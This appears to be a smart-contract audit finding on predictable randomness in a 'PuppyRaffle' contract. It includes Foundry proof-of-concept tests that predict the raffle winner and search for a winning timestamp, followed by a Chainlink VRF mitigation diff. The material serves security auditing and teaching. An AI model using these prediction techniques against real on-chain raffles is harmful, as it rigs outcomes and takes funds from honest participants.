Root + Impact
Description
-
The raffle contract is intended to select a winner and assign a puppy rarity in a fair, unpredictable, and non-manipulable way, using a pseudorandom number derived from blockchain properties.
-
Hashing msg.sender, block.timestamp, and block.difficulty together produces a predictable final number, which is not a suitable source of randomness. Malicious users can manipulate these values or know them in advance to influence or determine the winner and/or the puppy rarity.
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.prevrandao))) % players.length;
@> address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
uint256 tokenId = tokenCounter;
tokenCounter++;
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.prevrandao))) % 100;
@> if (rarity <= COMMON_RARITY) {
@> tokenIdToRarity[tokenId] = COMMON_RARITY;
@> } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
@> tokenIdToRarity[tokenId] = RARE_RARITY;
@> } else {
@> tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
@> }
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}
Risk
Likelihood:
-
Any participant or miner can predict the “random” number before the transaction is mined by knowing msg.sender and estimating block.timestamp and block.difficulty.
-
Miners can subtly influence block.timestamp and block.difficulty within allowed bounds, giving them an advantage in controlling the outcome
Impact:
-
Malicious users can consistently select themselves as the winner, draining the prize pool and breaking the fairness of the raffle.
-
Attackers can also choose the rarest puppy every time, effectively nullifying the rarity system and making all puppies equally common, destroying the game’s economy and intended mechanics.
Proof of Concept
There are a few attack vectors here.
Validators can know ahead of time the block.timestamp and block.difficulty and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here. block.difficulty was recently replaced with prevrandao.
Users can manipulate the msg.sender value to result in their index being the winner.
Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.
function test_PredictWinner() public {
vm.deal(attacker, 10 ether);
vm.deal(user2, 10 ether);
vm.deal(user3, 10 ether);
vm.deal(user4, 10 ether);
vm.startPrank(attacker);
raffle.enterRaffle{value: entranceFee}(address(0x0));
vm.stopPrank();
vm.prank(user2);
raffle.enterRaffle{value: entranceFee}(address(0x0));
vm.prank(user3);
raffle.enterRaffle{value: entranceFee}(address(0x0));
vm.prank(user4);
raffle.enterRaffle{value: entranceFee}(address(0x0));
vm.warp(block.timestamp + raffleDuration + 1);
uint256 predictedWinnerIndex = uint256(
keccak256(abi.encodePacked(
attacker,
block.timestamp,
block.prevrandao
))
) % 4;
address predictedWinner = address(0);
if (predictedWinnerIndex == 0) predictedWinner = attacker;
else if (predictedWinnerIndex == 1) predictedWinner = user2;
else if (predictedWinnerIndex == 2) predictedWinner = user3;
else predictedWinner = user4;
console.log("Predicted winner:", predictedWinner);
if (predictedWinner != attacker) {
console.log("Attacker will wait for better block conditions");
} else {
vm.prank(attacker);
raffle.selectWinner();
console.log("Attacker won and selected rarity");
}
}
function test_MinerManipulation() public {
for (uint i = 0; i < 100; i++) {
vm.warp(block.timestamp + i);
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(
attacker,
block.timestamp,
block.prevrandao
))
) % 4;
if (winnerIndex == 0) {
console.log("Found winning timestamp at offset:", i);
break;
}
}
}
}
Recommended Mitigation
Consider using an oracle for your randomness, like Chainlink VRF.
function selectWinner() external {
- // @audit-info does this follow CEI?
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
- // @audit randomness
- // fixes: Chainlink VRF, Commit Reveal Scheme
- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.prevrandao))) % players.length;
- address winner = players[winnerIndex];
- // @audit-info why not just do address(this).balance?
uint256 totalAmountCollected = players.length * entranceFee;
- // q is the 80% correct?
- // q i bet there is an arithmetic error here...
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
- // this is the total fees the owner should be able to collect
- // @audit overflow
- // Fixes: Newer version of solidity, bigger uints
- // @audit unsafe cast of uint256 to uint64
totalFees = totalFees + uint64(fee);
uint256 tokenId = tokenCounter;
tokenCounter++;
- // We use a different RNG calculate from the winnerIndex to determine rarity
- // @audit randomness
-
- // @audit people can revert the tx till they win
- uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.prevrandao))) % 100;
- if (rarity <= COMMON_RARITY) {
- tokenIdToRarity[tokenId] = COMMON_RARITY;
- } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
- tokenIdToRarity[tokenId] = RARE_RARITY;
- } else {
- tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
- }
-
- delete players; // e resetting the players array
+ // Request randomness from Chainlink VRF
+ uint256 requestId = COORDINATOR.requestRandomWords(
+ keyHash,
+ s_subscriptionId,
+ requestConfirmations,
+ callbackGasLimit,
+ numWords
+ );
+
+ raffleRequests[requestId] = RaffleInfo({
+ players: players,
+ prizePool: prizePool,
+ tokenId: tokenId
+ });
+
+ delete players;
raffleStartTime = block.timestamp;
- previousWinner = winner; // e vanity, doesn't matter much
-
-
- // @audit the winner wouldn't get the money if their fallback was messed up!
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
- _safeMint(winner, tokenId);
}
+ function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {
+ RaffleInfo memory info = raffleRequests[requestId];
+
+ uint256 winnerIndex = randomWords[0] % info.players.length;
+ address winner = info.players[winnerIndex];
+
+ uint256 rarity = randomWords[1] % 100;
+ if (rarity <= COMMON_RARITY) {
+ tokenIdToRarity[info.tokenId] = COMMON_RARITY;
+ } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
+ tokenIdToRarity[info.tokenId] = RARE_RARITY;
+ } else {
+ tokenIdToRarity[info.tokenId] = LEGENDARY_RARITY;
+ }
+
+ previousWinner = winner;
+
+ (bool success,) = winner.call{value: info.prizePool}("");
+ require(success, "Failed to send prize pool");
+ _safeMint(winner, info.tokenId);
+
+ delete raffleRequests[requestId];
+ }
}